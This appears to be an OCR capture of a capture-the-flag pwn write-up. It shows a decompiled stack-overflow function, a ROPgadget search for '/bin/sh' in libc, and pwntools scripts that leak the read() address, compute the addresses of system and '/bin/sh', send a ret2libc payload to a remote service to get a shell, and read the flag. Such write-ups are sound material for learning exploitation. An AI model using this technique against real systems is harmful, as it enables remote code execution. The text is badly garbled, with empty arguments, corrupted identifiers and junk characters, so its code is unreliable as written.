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1|ssize_t vulnerable function()
char buf; f/ [esp+8h] [ebp-88h]

write(1, "Input:\n", 7u);

return read(@, &buf, B@x106u); <=
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from pwn import

lib.symbols lib.symbols

THEIEAT FE Fread M # S /bin/sh' BIAR X k. Se3RE] /oin/sh’ bt .
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b@b-virtual-machine:~/% [H /pwnl$ ROPgadget --binary libc 32.s0.6 --string '/
bin/sh'
Strings information

0x0015902b : /bin/sh

from pwn import
1ib = ELF( )

bin_cha (0x0015902b-1ib.symbols[
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from pwn import

p = remote( , 54407)
elf = ELF(

(ox88+4) p32(elf.plt[ 1)+p32(elf.symbols[ 1)+p32(1)+p32(elf.got[ 1)+p32(8)
p.recvuntil( )
p.sendline(payload)
read_addr = u32(p.recv()[:4])
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from pwn import

D remote ( , 54407)
elf = ELF(
1ib = ELF( )

payload (0x88+4) p32(elf.plt[ 1)+p32(elf.symbols[ 1)+p32(1)+p32(elf.got[ 1)+p32(8)
p.recvuntil( )
p.sendline(payload)

read_addr u3d2(p.recv()[:4])

bin_cha (0x0015902b-1ib.symbols|

bin_addr read_addr bin_cha

sys _cha (lib.symbols| ]-1ib.symbols|

sys_addr read_addr sys_cha

p.recvuntil( )
payloadl (0x88+4) p32(sys_addr)+p32(1)+p32(bin_addr)

p.sendline(payloadl)

p.interactive()
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$ cat flag
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